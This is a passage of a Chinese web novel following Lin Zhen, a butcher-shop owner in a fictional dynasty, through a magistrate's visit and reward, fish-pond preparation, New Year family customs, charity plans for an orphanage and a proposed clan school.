人群中传来着意压低声儿的议论,都抻着脖子瞧呢! 虽有红绸覆盖,脖子伸得再长也瞧不见,不过,众人一想到里头是官爷口中的三万钱,心头火热,议论又起。 …… 林真邀杨典史一行入內,又請人群中的族长、耋老一同作陪。 因着先得了口信,家里早早备下茶水,茶盏用了一套淡青的細瓷,那是年前王柘送来的。 虽不是甚名窑大家产的瓷器,可釉面清透,几笔萱草甚是灵动,此时拿来待客,不算怠慢。 林真父女在堂屋內与杨典史寒暄,六名衙役另坐一處,由着賀景与林有文招呼。 賀景袖中好几串钱,接着請茶的动作,不动声色塞入衙役手中。 “天寒地冻的,几位甚是辛苦,还请喝盏热茶湯,去去寒气。” 这钱还是铺子歇业后,盘账时留下的散碎铜子儿,林真用红线串了,预备着过年的时候发压岁钱用。 此时倒是派上用场。 小鬼难缠,里头的杨典史不会要钱来打点,可这些抬着钱来的小吏,却是需要格外关照。 有那三万钱在珠玉在前,他这出手也不能小气了。 果然,手一触到钱串,六人面上的笑都深了几分。 又有炭盆、热茶和点心,还有林有文和贺景着意奉承,几人之间的气氛倒是格外融洽。 堂屋内也在热聊,杨典史兴致格外高,说到兴起處,不顾天寒路滑,一群人又去了林家的堰塘細瞧。 “咦?这是作甚?杨某先前也是农家汉,晓得田里要施肥,可堰塘为何也要如此?” 杨典史一行人来的时候,盧老正巧帶着林有田父子在往堰塘里投粪肥,沤好的粪肥里,还添了好些带着根子的杂草。 林真原是想唤了盧老来细说,可那小老头来是来了,却死活不张嘴。 林真无奈,只好自个儿回话:“杨大人,这是在肥水。堰塘挖好后,先前已放了满池子的水,又加了几车石灰进去,先细细浸过一回才放水。这回新引了活水进来,就得添肥,将池子底部的淤泥養肥,如此,堰塘里才能长出水草虫豸来,有了这些,鱼儿开口就有粮吃,要好養活些。” 杨典史若有所思,他瞧了缩在一旁的盧老,没问他,反倒是问林真。 “如此擅養鱼者,林娘子从何處寻来的,他是何方人士?家住何处?” “回大人,卢老是从前打平江府那头来的,至于家住何处,他是建德年间逃难来的,自个儿都说不清了。”林真满意,这称呼终于对头了。 经过林真的一番寒暄,杨典史终于不唤‘林善人’这个让林真起鸡皮疙瘩的称呼了。 “这样。”杨典史闻言眉头微皱。 林真思索一番,莫名想到她姑所在的青桑村。 先前林香莲特意回了娘家一趟,就是听说林真这头也在挖鱼塘,且一气儿要挖四亩多,特意来劝的。 原是青桑村那头,种桑养鱼的法子不是很顺利,林香蓮心底本就发虚,听了些夸大之词,心里着急,不年不节特意回来一趟,原是想劝劝林真的,可反倒是在林真这头听了一耳朵的养鱼经家去。 “卢老是晚辈机缘巧合寻到的,可他偏不善与人打交道,只会做事不大会说。听闻先前縣尊大人张榜招人,若是卢老能说会道,那时便早去揭榜了。” 林真语气带着几分玩笑,话里有话。 她可不想卢老被强征了去,那谁给她养鱼赚钱啊! 杨典史想起县衙内,乌眼鸡似的农官,也是头疼。 先前县尊大人招来的养鱼户,不少都是被农官喷走的。 “林娘子这鱼塘,甚时候投鱼苗?”杨典史还是不大甘心。 县尊大人对桑鱼之法格外重视,他冷眼瞧着,县里那群农官分明是有意挤兑招来的养鱼户。 为何?不就是怕真出了几位陂官来与他们分权? 教杨典史看来,那群农官着实短见,县尊大人瞧着温和,可真动起手来,如有雷霆之势。 银锭造假案的那俩骗子,他亲自关在县内的大牢里。 可县尊大人暗中将其送走,是甚时候动的手,他这典史居然一点儿不清楚。大人的手段,可见一斑。 县里的斗法一时半会儿结束不了,若是林真这头先出结果,倒是有可为。 杨典史盯着林真,势必要问个明白。 “开春水暖后,清明前后,便开始养鱼。”林真答道。 “哈哈,那好,到时候记得唤了我家那皮猴子来凑凑热闹,他早闹着要来枣儿村了。” …… 送走杨典史一行后,家里本该接着杀猪。 可族长和耋老都还留在林家。 “真姐儿,这是天大的好事儿,合该开祠堂祭祖!这祭祖,总得让祖宗见一见县尊大人的墨宝……” 林真一笑:“自然,牌匾便先请去祠堂,待祭祖后,择了吉日再请出来,挂在堂屋。到时还得置了席,请族长耋老一同见证。” “好,好!真姐儿是极明事理的!” “咱族里,年轻一辈中,就属你最出息!” …… 于是林家这顿刨猪湯,直接拖到了晌午过后。 “嗨,咱这时吃饭,也不晓得是吃晌饭还是吃夕食咯。”沈山平笑道。 林家今儿着实热闹,杀猪本只请亲近人家,摆个一二桌便罢了,可今儿却整整摆了五桌来。 幸而人都多利索,这个伸手帮一把,哪个搭手理一理,快着手脚收拾了多是体面的菜出来。 族长、耋老俱在,今儿林家院儿里又热闹许久。 是以,林真只能隔日再往县里送年货去。 林真贺景一道,主要送县里交好的马娘子、朱掌柜、王柘、黃绣娘等人家;林屠户带着苗娘子燕儿一道,主要是往亲戚间走动。 年货里头不止有鲜肉,还有制来自家吃的香肠,林真不偏心,咸、甜都有,昨日拿出来待客的时候,又收获一叠声儿的赞。 吃着好了,还有人来问賣不賣。 那自然是不卖。 制香肠可比熏肉费劲儿多了,自家吃且不够,便是用来走礼,林真也一样只拿了两挂,小气得很。 剩下的都收在仓房里好生放着,她有数呢! 除了香肠,便是铺子里卖得极好的熏肉和蒟蒻豆腐。 这样的礼,着实算丰厚。 县里且不说了,这年礼往林香蓮家中一送,她婆难得露出个笑脸来,客气地招呼众人吃甜汤,还给燕儿拿点心吃。 燕儿只拿了一块儿最小的,道谢后,小口小口抿着,并不多拿,连眼儿都没往那头再看一眼。 林屠户客气几句便告辞。 林香莲借口送人,几人这才有机会单独说几句话。 “怎瞧着你那婆婆不大痛快?家里有事儿?刘元又是瞎了啊!”林屠户不高兴,语气挺冲。 “嗨,还能如何?觉着我心大了,非要折腾那种桑养鱼的法子。你别管,我应付得来,真姐儿得了县尊大人赠匾的事儿传来,我婆那脸色就兜不住了。你今儿又送了这样重的礼来,她还敢甩脸子?我倒要问问舅公那头可送了甚!” 林香莲满不在乎,反拉着林屠户问林真。 “昨儿耽搁许久,她今儿去县里送礼去了。不然,哪有不来的?初二,我早早来接你。家去后,咱有甚话都大大方方说。” 林香莲眼睛有些湿润,说不出话来,只一个劲儿点头。 说是弟弟,林屠户更像当哥哥的,往这头走动得很是勤快,年年送礼都要提接她的话。 他这话一说,初二她便能丢开手,早早回娘家。 她婆也没法儿拦,真要等娘家人上门来请,那才是丢人! …… 另一头,林真与贺景挨着送礼,最后到了黃绣娘这头。 “快进来!” 黄绣娘早早便等着了,林真一进门她亲自动手,先给人掸去衣裳上的雪珠子,又亲捧了热茶来。 “且先站一站,外头冷冰冰地进来,反不好立时便往熏笼那头凑。” 林真惊疑不定,顽笑道:“这是作甚?我居然还得黄娘子亲自侍奉一回?” “我这沾了林善人的光,得了天大的好处!侍奉你一回怎的了?往后你林善人只要往我这头来,拂衣奉茶都使得!”黄绣娘故意夸张,笑盈盈拉着林真往南窗下的榻上去。 倆人亲亲热热凑一处,贺景老老实实留在外头喝茶—— 作者有话说:滑跪[求你了] 第68章 黃繡娘口中, 天大的好处是县尊大人的一篇記事——《寒庐稚子記》。 听聞此篇记事是县尊大人冬日巡视慈幼院所得:一叹稚子之悲;二赞慈溪义士之功;三省自身不足;四抒以天下为己任之情。 两榜进士出身的县尊大人,那笔杆子不是吃素的。 整篇记事,用词真切易懂, 又不失文采。此文一出,瞬间传遍慈溪,见着无不为之动容。 “我虽没得你那样气派的贈匾之荣,可我黃秋芸的名儿可是正经出现在了县尊大人的笔下!你瞧, 县尊大人贈了我一副春聯和一对儿桃符!” 黃繡娘将春聯和桃符小心翼翼捧出来, 给林真瞧。 林真探头, 果然是同一字迹,她家里也有一副。 “亏得跟你捐了些米粮和碎布头,用那些个東西,换得县尊大人亲笔所书所赠, 实在是我生平做过最赚的生意!” 先前林真在慈幼院的时候,瞧见那里, 几十个孩子凑不出一雙正经鞋履来, 大冬天的, 穿得还是草编添芦花的草窝子。 林真瞧见那些孩子滿是冻疮,又青又紫的脚丫, 缩在兔毛靴子里的雙足不自覺地蜷成一团。 她出了慈幼院的门, 除了买粮买炭外, 便径直来寻黃繡娘。她想买些碎布头送去, 碎布糊袼褙,大些的布头制鞋面儿。 好歹教那些孩子有双能出门的鞋子。 黄繡娘一听, 又问了几句慈幼院的事儿,也是一叹。 当即收拾了几大包袱的碎布来,又亲去慈幼院, 教那些半大孩子糊袼褙制鞋面儿。 用她自个儿的话说:“多学些手艺,不定甚时候就用上了。” 林真听后,心生敬佩,授人以鱼不如授人以渔,能想到这一层,黄绣娘也是极通透的女子。 想到这儿,又听得黄绣娘还在道谢,林真一笑。 “黄姐姐可是谢错人了,我不过白问一句,后头赠布、教手艺,哪样不是你自个儿张罗的?要我说,最该谢的人,是你自个儿。来,我以茶代酒,敬慈溪义士黄娘子一杯!” 黄绣娘笑得合不拢嘴:“你呀你,当真是这天下少有的豁达之辈!” 此事换做旁人,哪有不邀功的?偏真姐儿不一样,不止不揽功,还自个儿将功劳往外推。 倆人说笑一番,黄绣娘正色道:“好妹子,我还有一桩事儿想讨讨你的主意,你听一听,也帮着想想。” 林真收起嬉笑,道:“黄姐姐请说。” “我想着,我这铺子里碎布头多,往常我自家也懒得打理,都是贱價賣与他人。这回瞧着慈幼院里很有几个丫头手脚利索,制鞋面儿不成,可她们糊的袼褙却是不错。我便想着,往后教慈幼院的丫头们帮着糊袼褙,我给些工錢或粮食?” 前几句黄绣娘还说得利索,后头说到报酬便有些迟疑,显然,她拿不定主意的,是此处。 这报酬,确实不好定。 慈幼院不接受银錢捐赠,当是防止贪污;便是现任县尊大人联系当地工坊做工,也多是给粮,少有给钱的。 可黄绣娘应当是曉得此事,还在犹豫,当是另有顾慮。 林真问道:“黄姐姐这法子好,慈幼院甚都缺。不论是给钱还是给粮,与管事的周麽麽好生商量不是难事,可是有其他顾慮?” “是,果然瞒不过妹妹。我这头的生意才好些,从前都是精打细算过日子的。要是这些袼褙賣不出去,我岂不是又贴钱又贴物?此事虽好,可若是刚开个头就做不下去,倒是平白招人笑话。我倒是想着长久做这事儿,只是这糊袼褙,哪个妇人不会?我怕卖不出去呢!” 黄绣娘也不藏着掖着,大大方方说明自个儿的顾虑。 林真略一思索,笑道:“此事不难,且要趁着县尊大人这股東风在,尽快成事才好!黄姐姐挂个牌子,写明这些袼褙均出自慈幼院之手,所售利润将全部捐与慈幼院买粮,定價再略低市价几分,何愁卖不出去?” 这不就是爱心商品麽! 还是利润全部捐赠的爱心商品,有县尊大人亲自吹的这股东风,不愁卖! 黄绣娘双眼发光:“好妹子,就曉得找你拿主意准没错!哈哈,你放心,我必定写明这主意是你出的,下回小报上传奇女子必定有你一版!” “啊?甚小报?” 林真疑惑,是她想的那个小报吗?可那头不是多是些民间传聞、奇闻轶事麽?间或夹杂些八卦信息,何时有甚传奇女子? “哎呦,我的好妹子,我有时也是奇怪,写杂事趣闻的小报你不乐意看,怎专喜欢那些个之乎者也的大道理?” 林真心虚:不是,有没有可能?我压根儿不看书的? 说来惭愧,她前世好歹是个211毕业生,原身也是识字读书的。 可她来了后,偏是一本书也看不进去。 谁叫这时候的书如此难看! 是真正意义上的难看,大虞朝的印刷技术不赖,字体清晰,行文整齐,版面还有边框、鱼尾和页码。 可惜,它是竖版,与林真的阅读习惯大相径庭。 最重要的是,通篇,没有一个标点符号来断句!偶有一个“〇”,断一整段,还有划“丨”表地名或人名,但这都是极少数的情况。 更多的时候,整篇,都是,字。 林真瞧着滿篇的字符,只覺着头晕。 曾经,在林掌櫃那头听了一耳朵的商戶农戶之分,林真不惜斥巨资买了一本最新版的《大虞律》。 书是死贵死贵的,可林真确实是一个字儿也看不进去。 不论下了多大的决心,永远只能翻开一页。 她在此时,不是文盲胜似文盲。 此时,听了黄绣娘的话,也只能干笑。 “喏,你瞧瞧。”黄绣娘取来今日的小报,指着一处道,“也不知甚时候开始的,这版专门记录传奇女子,一开始是历朝历代的名人,后头便是当代大家,且不论身份,将军、文人、女医、织女……甚都有。最近的这一版,写的是咱慈溪县的名人呢!是你家门儿,慈溪林家,那位有名的女公子,不,应当唤女当家。” 林真听了,只有一个念头:小报,还真是好用啊,人人都从此处下功夫。 从黄绣娘那头出来,倆人又拉着满车的东西家去。 车上有各家的回礼,也有自家采买的最后一批年货,像是从朱掌櫃那头买来的那坛新制的羊羔酒,就是今年的重头戏。 朱掌柜的分茶店生意好,现连腊月新制的羊羔酒都有了。 林真早早便托了朱掌柜留一坛,今儿整好取走。 羊羔酒不似其余佳酿,不喝陈,要喝新。 冬日新制的羊羔酒,色泽莹白、冷而不膻,入口绵甘醇香,冬日饮用还有祛寒养生之效,是大虞朝冬日里当之无愧的头号名酒。 …… 倆人今日不止送年货还是头一回送货上门,又在黄绣娘那处耽搁些许,家来已是迟了。 可即便这样,林家也还是热闹,今年走动的人家多了好些。 幸而今年家里将屋子大修一番,又添置了好些桌椅物什,吴麽麽和苗娘子又将家里打理得多是整齐。 炭火、糕点和好茶样样不缺,便是突然有客走动也不会失了礼数。 林真笑得累,可瞧着家里人都一副高兴模样,她也不好扫兴。 特别是她屠户爹,好客得很。 晚间,林真搂着汤婆子裹成一团,掰着手指头数自己的年假。 后日三十要祭祖,早起;初一要拜年,早起;初二她姑要回来,还是早起。 初三,可睡懒覺,好! 初四,要送货,烦! 啊!她的假期,她都多久没睡过懒觉了! “三十祭祖,能不去麽?” 林真翌日,瞧见她爹就是这一句。 “嗬!可不敢乱说,真姐儿,这是天大的好事儿呢!为这,族长险些与族老吵……” “吵起来了?”林真凑近。 “没,没有!”林屠户有些心虚,摆摆手,又虎着脸道。 “三十那日,可得精神些!唉,临近年关,寻不着梳头娘子,不然,爹一准儿给你请个梳头娘子来!” 林真撇嘴,没拆穿他爹,那些个族老能说甚,她不用想都曉得,几千年来都是那一套。 说甚女人进不得祠堂,那祭祖的东西是谁操持的?你供奉的排位上,妻那一行,要不先划去? 真真自相矛盾,无理又荒谬。 没意思得紧,还不如在家睡大觉。 “真姐儿,可晓得了?”林屠户很紧张。 “晓得了,晓得了,我穿黄绣娘送的那件,大红的缎面灰鼠褙子总成了罢?” 三十一早,林真被贺景薅起来。 她还迷糊着,贺景已湿了帕子过来:“快些动身罢,爹一早便等着了。” 林真:真的不必这么早! 林真和她爹赶到祠堂的时候,不晚,可也不算早。 早早便来的族人免不了要多看几眼,好在目光里打量和畏惧居多,也没甚不长眼的人跳出来。 林真挂着笑与众人寒暄几句。 族长夫人冲她招手:“真姐儿,来,你一会儿就与我站在一处。” “好的,伯娘。” 林真本觉着没啥,可随着时间临近,她打眼一瞧,屋内站着的,居然只有她和族长夫人是女子! 且门外吹冷风的,也多是男子,少见女子。 “伯娘,这祭祖,女子不能来?”林真还是没忍住,低声问道。 “能,于家有功者,便能来。”族长夫人显然晓得林真到底想问甚。 她又指了指她们倆人站的地:“此处,除了族长夫人,取得功名者,其母及其妻可进。凭自个儿本事进来的,你是头一个。” 林真并不觉得有甚荣耀,只觉着莫名烦躁。 第69章 林家的年夜飯自来是两房人一同吃的。 今年因林屠戶家新修了房屋, 第一年必得要生火守岁,便在定在这头吃年夜飯。 林真一行人祭祖回来的时候,院儿里正熱鬧。 灶屋的两孔灶且不够用的, 原先制腐竹的三孔灶也被占了:熬汤、蒸菜、炸丸子,每口灶前都站了人,一大家子熱热鬧鬧凑在一处,准备今晚的年夜饭。 几人提着年糕家来的时候, 苗娘子摆了汤面和丸子招呼道:“先吃点儿墊墊, 留着肚子晚间吃好的。” 林真吹了一上午的冷风, 此时一碗汤面下肚,心底那股子郁气被滚烫的食物抚平。 她屠戶爹此时过来:“真姐儿,来,浆糊熬好了, 咱将春联和桃符换了。” “成!”林真点头,拿着春联、桃符便往院门外走。 “哎呦呦, 干啥呢!” “哪能往外貼!” …… 一叠声儿的惊呼声响起。 林真无奈道:“不貼门外, 那贴何处?堂屋?” 林屠户比她还无奈, 道 “哎呦!縣尊大人的墨宝,自然該请入堂内!哪能贴在外头风吹日晒的。” “爹, 你说话愈发有文人气了。”林真皮一句, 趕忙又举起桃符, “那这呢?总得挂门上罢?” “这儿, 爹连夜钉下的桩子,挂在堂屋门上, 必不会教雨淋着。”贺景端着浆糊过来,给林真指地方。 好叭,你们高兴就好。 林真便听着一群人:左一点, 右一点,不对,上一点…… 在一阵儿完全无法统一的口令中,终于将春联贴稳。 晚间,一大家子聚在一处,热热闹闹围了两桌,饮屠苏酒、吃团年饭。 这一日要守岁至天明,村里難得热闹,时不时响起爆竹声儿,夹杂着小孩们闹哄哄地尖叫声…… 饭后,大伯一家子没急着家去守岁,在堂屋里围着炭盆,吃蜜桔、话家常。 “真甜!”林巧儿挨着林真,给她嘴里也塞了一瓣甜蜜桔,眼里带着笑。 “真姐儿,今年李家那边儿送来的年礼比去年重,我娘说是因着明年我就要发嫁,人这才添了厚礼。” 说到此处,林巧儿偷偷撇嘴:“可我曉得,是因为你,得了縣尊大人的赏。” 林巧儿的婚事是早早便定下的,这时候女子不兴早嫁,疼女儿的人家通常会留女儿到十八才嫁。 大伯家就是如此,林巧儿的婚事定在了来年三月。 许的人家是大伯母娘家那头的,同是李家人,往上数一数都是亲戚。 将女儿嫁到娘家那头,与外族舅家一个村儿住着,有甚事,喊一嗓子就成。確实是大伯和大伯母用心良苦选出来的人家。 林真看着这个一直大大咧咧,爽朗活泼的姑娘,她在谈起自个儿的婚事时,是这样小心又忐忑。 “这挺好呀,巧儿,说明妹夫家知情识趣。咱只要自身立得住,便不怕他怠慢你。” 林真不用大话劝她,反道:“咱巧儿多能干,身后靠山也不少,怕甚?你但凡招呼,我一准儿带着人趕过去!” “扑哧!哪有你这样劝人的?”林巧儿欢喜起来,“不过,你確实是我的大靠山。我娘是不是找你换錢了?她说要将我的压箱錢全换成县尊大人赐下的新錢呢!” 三十贯錢说成三万钱,确实是有故意夸大的成分,可赏钱是白得的,且都是实实在在的新年号钱。 新钱自是比旧钱值钱,尋常可没处去换如此多的新钱。压箱钱全换成新钱,确会多添几分底气。 “是,整整六贯钱呢!再有布匹、棉被、衣物、妆奁……咱巧儿,实在是厚嫁!你伶俐能干,又能识会算,必能顺心如意!” “好!承你吉言!嘿,你现在可了不得,我得多蹭蹭。” 搂着林真一通闹。 林真便由着她闹:嫁人,对女子来说,确实是一场豪赌。 她不喜欢,却无可奈何。 夜里守岁,林真也不曉得自个儿是何时睡过去的,只曉得一闭眼,再一睁眼,还是被贺景的湿帕子唤醒的。 初一,小辈出门拜年,长辈在家中招待别家来拜年的人。 林真便与贺景一道,裹着袄子出门拜年。 至于燕儿,一早便与鑫哥儿跑得没影子了。 一上午很快过去,晌午胡乱吃几口垫垫,林真倒头又睡。 这是一年里,白日困覺不会被说闲话的唯一一天,昨儿守岁至天明,今日合該补覺。 下半晌,饱睡一觉的林真自觉神清气爽,瞧见外头没落雪,将自个儿团团围住。 “爹!我出门去寻族长说事儿啊!晚间咱吃锅子罢?这天儿,瞅着夜里要落雪呢!” 也不待人回答,林真自个儿深一脚浅一脚的往族长家去。 她那三万钱,得尽快花出去,免得招人惦记。 “族长,我得县尊大人所赠的三十贯钱,置办了田地来,其中所出,愿意全捐给族里,咱林氏一族,办个族学罢!” “咳咳,咳……” 林族长一个几十年的老烟枪了,可万万没想到,有朝一日,自个儿还有被烟呛到的时候。 一旁的林有文也被惊得不轻,听见他爹的咳嗽声才回过神来,赶忙端水拍背给他爹顺气。 “真姐儿,你可晓得族学花费之大?便是延请名師这一笔,便是大花销!” 回过神来的族长,眼中光芒一闪而过,随后又颓败地摇摇头:“此事,難!” “族长高看我了不是?我想办的族学,是教族中小辈识字算术,顶多算个扫盲,不是,启蒙班。可不敢肖想甚名師,请个童生秀才便成,说起来,有文叔就是童生嘛?”林真眨眨眼。 改换门庭的想法,她自然有,不必林福提醒,她一直都晓得阶级之间的鸿沟有多大。 可以前只想着自个儿一家,现在,倒是觉着可以再多做一些。 广撒网,总能捞起一两条鱼儿来,祠堂里能多站几个女子;族中。出嫁的女子,便是没有县尊大人的压箱银,也能多几分底气。 林有文摆摆手,苦笑道:“可不敢,律法规定,不得功名者,不得为师。我这童生,可算不得功名。” 这林真还真不晓得,看来,那《大虞律》还是得读。 “那便请秀才,今时不同往日,海清河晏国泰民安,读书之风盛行,有功名着者较之从前,多如牛……咳,多了许多。” 瞧见林有文愈发苦涩的面容,林真紧急改口,道:“读书取得功名着多,朝廷对秀才的优待愈发少,其中定有经济拮据又无心科举之人,若能请来,一月二贯钱,再有脩金、节敬、食宿,应当不难找。” “可这一月二贯钱,哪里出呢?”林有文不禁插话,“三十贯钱,可供不起塾师的月钱。” “这便是我来尋您的原因了。”林真一笑,“我这头都出钱了,咱族里另外的大户,不得出些钱财?这是一族大计,很该集全族之力共促。” 林真这几日恭维的话听了,可也有许多藏在底下的酸话,她现舍出白得的三十贯换个清净,怎么着,也得教其余人多少出点血才成。 “我就这么一说,成不成的,全看您。左右,我那三十贯钱,置下田地来,是要全供给族里的,至于这笔出息,怎么用,全凭族长和族老做主。” 林真一笑,先退一步。 屋子里彻底静默下来,只闻炭火的噼啪声儿。 “此事,容我想想。” 族长沉默半晌,还是无法作出决定。 “成,此事不急,您慢慢儿想。若是有空,幫晚辈瞧瞧,选些好拾掇的荒地,土地一化冻我便请人整田,赶着谷雨,还能先种一批豆子下去。” 好田,林真是不敢肖想的,只能盼着荒地好收拾些。 “成,此事我会上心。”族长这下倒是应得痛快。他是里正,此事与他而言,不难。 “有文,送真姐儿回去。变天了,也不晓得唤你爹或贺景陪你走一趟。” 林真笑笑,接受了这番好意,她也是没料到,这天儿说变就变,暗得恁快。 不想,俩人才出门,便瞧见穿着蓑衣斗笠,又拿着另一套雨具来接人的贺景。 “贺景有心,倒是不肖我送了。”林有文笑笑,又道。 “可有一事,还想请真姐儿幫着想一想。” 嗯? 现找她拿主意的人恁多? 林真十分客气道:“有文叔说笑了,您见多识广,便是有甚迟疑不定也只是一时。您说出来,不过是多个人听一听,多个人帮着想一想罢了。” 林有文一笑,这孩子,当真老练得很,处事完全不似她这个年纪能有的沉稳周全。 “我爹有意教我接任族长,可我到底年纪辈分都压不住人,且从前大半时间都在外,于族内助力不多,恐不能服众。虽这些日子有意帮着族里做事,可到底是些琐碎事儿。” 林有文缓缓道来。 “我便想着,若能自个儿为族里办下甚大事来,也不肖多,只一件,便能令族中长辈瞧见,不再忧心我是个扛不住事儿的。” 林真眼睛一亮:看来,族长对族中事务也不能全然决定。 这样挺好,一言堂要不得,且这样一来,她先前提议的族学之事,多半能成。 现在,先给林有文立立威信,也是好事一桩。 “大夫!族里缺大夫。人生之事,大不过生死二字,若是您能为枣儿村请来一位常住于此的大夫,不止是族人,便是其余村人,也得承您的情。如此,还有甚不能服众的?” 林真一直记得,先前林屠户闪了腰,一家子是如何着急忙慌请大夫的—— 作者有话说:蓑衣斗笠,也可用来挡雪 跪了[求你了] 第70章 初二, 林香蓮一早带着丈夫和一双儿女归家。 先去了林大伯家拜年,而后林屠户去请两家人一同在自家吃晌午飯。 大伯娘也不推辞,历年她在初二这日都会教自家儿媳妇早早归家, 她自个儿倒是不急着回去,毕竟不是新妇了,头上又没有婆婆,啥时候都能回去。 可今年, 她却要带着丈夫和儿女归家。 “香蓮, 今年家里事儿忙, 家里无法招呼你,你且先去有生家熱闹。明年,唤你大哥早早去接你。”李金梅又从自家拿了风干鸡、腊肉等说要给席间添菜。 “嫂子如何说这样生分的话,年年家来不知道要教嫂子受多少累。今年事出有因, 关乎巧儿的大事,我这当姑姑的帮不上忙便罢了, 哪里还能来裹乱呢!” 林香莲嗔笑几句, 又快手快脚从自家带来的年禮中摸出一陶罐。 “两年的桑葚酒, 听闻那親家公是个好酒的,嫂子给带上。他李家今年的禮重, 咱家也添几样, 可不能教人看轻了去。” 李金梅笑着收下。 她家今年的回礼, 瞧着少, 可样样都是稀罕货。 真姐儿那头送来的熏肉极好,竟还包了一包极为洁净的葛粉来, 此时再加上这桑葚酒,全是好东西。 再添置一二,送回李家那头去, 便是极妥帖的一份儿礼。 晌间在林屠户家吃飯。 林家开了羊羔酒、炖了羊肉来待客,劉元满面红光,自觉极为有面儿。 林真又安排卢老给他画大饼。 别看卢老在杨典史跟前缩头缩脑一句话不说,可在劉元面前,那是真能吹! 甚‘一亩塘,十亩粮’已不够他吹的了,连‘水面魚,水下錢,魚肥水美錢进门’这样的话都编来,把个刘元哄得,三分醉意化作十分胆气和财气。 他一手端着酒杯,一手将胸脯拍得啪啪作响:“小舅子,你放心,我脑子不比香莲,可我定然会护着她的!开春后,水田翻耕,修理蚕室,给桑树上肥我都包了,教香莲尽管腾出手去养鱼!我娘那头,若是罵人,那也只管罵我好了!” 林屠户便端着酒,親亲熱热道:“姐夫,我自是曉得你是个极为周全的人,定能护住妻儿。亲家婶子也是个能干的,经得事儿多,有些话咱们年轻没经事儿自然要听着。只我姐不大会说话,只能全托了姐夫从中周全,实在是難为你了。” 倆人你敬我一杯,我劝你一杯,又有賀景从旁斟酒添菜,席面上多是热闹。 林香莲眼睛泛酸,轻拍了林真一下:“我的姐儿,何至于此?我嫁进他刘家多年,生儿育女、侍奉公婆,家里田里一把抓,从未有过疏漏。便是今年执意置田养鱼,左不过是在家里受些闲言闲语,出门去还是一家人。我那婆婆要面子得很,断不会在外头下我脸,我寻常便多出门做活儿避开她就是了。” “嗨,姑姑,你甭管,只管教我姑父顶上去,他们亲母子好说话,哪有隔夜仇?” 林真暗中撇嘴:怎的?孩子又不是她姑一个人的,也不跟她姑姓,他姑父怎好意思缩在一旁瞧着? “开春后,您跟着卢老一起去买鱼苗。平日里盯勤些,若是有甚,千萬别拖,来寻卢老,您若是脱不开身,寻人带个口信儿来,我驾车,与卢老当日便能到你那头去。” 林真捏了捏她姑的手。 “别怕,桑基鱼田的法子,便是县尊大人也上心得很。农桑垦殖、水利兴修乃劝课之最,关乎县尊大人磨勘升迁之事,这法子,不是空谈,定是有前人得了实惠的。”[1] 初三,林真终于睡到日上三竿,心满意足。哼着甚‘谁是神仙?我是神仙’的话,在家里招驴逗狗。 初四,送货,忒冷,家来又嚷嚷着吃锅子。 初五,迎财神,此乃大事,又是忙忙碌碌的一天。 初六,又送货,可这回家来林真不敢嚷着吃锅子了。她嘴里起了好大一个水疱,疼的不行,炭火也不敢挨得太近了,賀景泡了苦菊茶来盯着她喝。 初七,休息一天。 初八,得开鋪子,一家子全出动,杀豬、理货、清扫鋪面儿、开门迎客。 没过十五,过年的氛围还浓着,整个长兴坊内都显出一种喜气盈盈却懒洋洋的氛围来;许多掌櫃们也不好好守着鋪子,串门,三三两两闲聊着。 正月里头客多,请客吃饭也多,林家鋪子一开,早有熟客上门,采买鲜肉干货家去置办席面招待客人。 是以,林家这头倒是多热闹。 便有掌櫃顽笑:“林善人咧!你这铺子便是挂了牌子歇业时也能一车一车送货赚錢,现生意又这样好,先还得了三萬錢,这流水似的银子可都进了你家,再是一年半载的,您可是我们这儿头一份儿!” 就知道有人酸她呢! 林真一点儿不挂脸,笑眯眯摆手:“我这都是小本买卖,本小利薄,哪能与各位经年的老掌櫃们比?再说了,我这也留不住钱呀!先白得了三万钱,心里惶恐得很,又不能白担了这美名儿,便将三万钱全给族里了。唉,咱农户人家,全瞧老天爷脸色吃饭,冬日里日子不好过,幸而有县尊大人所赠,教咱能过一个好年。” 开口说话的那人嘴巴抿成一条线,他心里在骂林真傻,可又不敢表露出来,偏还要应和着旁人一同讚一讚,便是不赞林真,也得赞县尊大人! 心里憋屈得很。 瞧这人吃瘪,便再没有不识趣儿的人开口。 心里却在嘀咕:这林掌柜瞧着年纪轻轻,却着实不好应付。也是,先前恁難缠的茶掌柜都没在她那头占上风,反把自个儿折腾走了。 后头郝家豬肉铺,仗着自个儿先开铺子熟客多,想与林家打擂台。 可不想人一天一个主意,一会儿是挂个牌子处理隔夜肉了,一会儿又是鸡鸭兔子拆开卖了…… 总之,郝家猪肉铺擂台都没摆开来,便被彻底比下去了。 短短半年,回头一瞧,不仅这铺子立起来了,连带着这林掌柜也立起来了。 若是在长兴坊这头说起林掌柜,人第一反应,便是这林家猪肉干杂铺的女掌柜。 == 日子过得飞快,厚袄子换夹袄,一晃儿便是二月尾巴上。 二月是兔尾巴,自来溜得快。 林真便特意寻摸了一天来,先去原先那家铺子,依样又买了一套带着妆匣的铜照子;又去银楼,挑了一对儿缠枝花纹的银镯子,又央着店家,在内面刻了‘巧兒’二字。 这是她为林巧儿准备的添妆礼。 她能为这个活泼爽快的姑娘做得不多,便有意多添了些。 晃到铺子里来的时候,正巧碰见拾掇得格外精神的沈山平回来。 她眼睛一亮,先去瞧贺景,贺景笑着冲她点点头。 于是,了然于心的林真,笑着凑到沈山平边上。 “唉,沈大哥,瞧你面带红光必是喜事儿将近,今儿相看,想来是格外顺利?” 沈山平咧着嘴直点头,笑里带了些憨气,着实难见。 “那,人小娘子可还难缠?”林真坏笑。 “呃,怎能这样说……” 沈山平瞧瞧林真那欠欠儿的笑,再去瞧贺景,还有甚不明白的。 “好哇!你俩早曉得了!恁久,竟是一点儿口风都没露,故意瞧我笑话呢!” “哎,沈大哥莫恼,很快啊,你也不是一人了,再不怕吵架吵不赢我俩了!” …… 两人逮着沈山平顽笑几句便罢。 却不想,这平日里瞧着粗枝大叶的汉子却忽然换了样儿。 “真姐儿,你说,我该怎么给罗娘子赔罪?唉,我先前那样说她,实在不该,她可不容易了。” 原来,这罗娘子,也是七八岁上就没了娘。 可她运道更差些,摊上一个酒鬼父亲,底下还拖着一个弟弟。 爹看酒比看俩孩子重,得了钱,先买酒再买粮。 罗娘子从爹那头要不来钱,小小年纪便饥一顿饱一顿,好在她自有一股子韧性儿,曉得街坊邻居怜惜几分,这家帮着干活儿,那家帮着跑腿,给姐俩换些口粮吃。 她干活儿格外卖力人又机灵,倒是得了一灶人的眼。 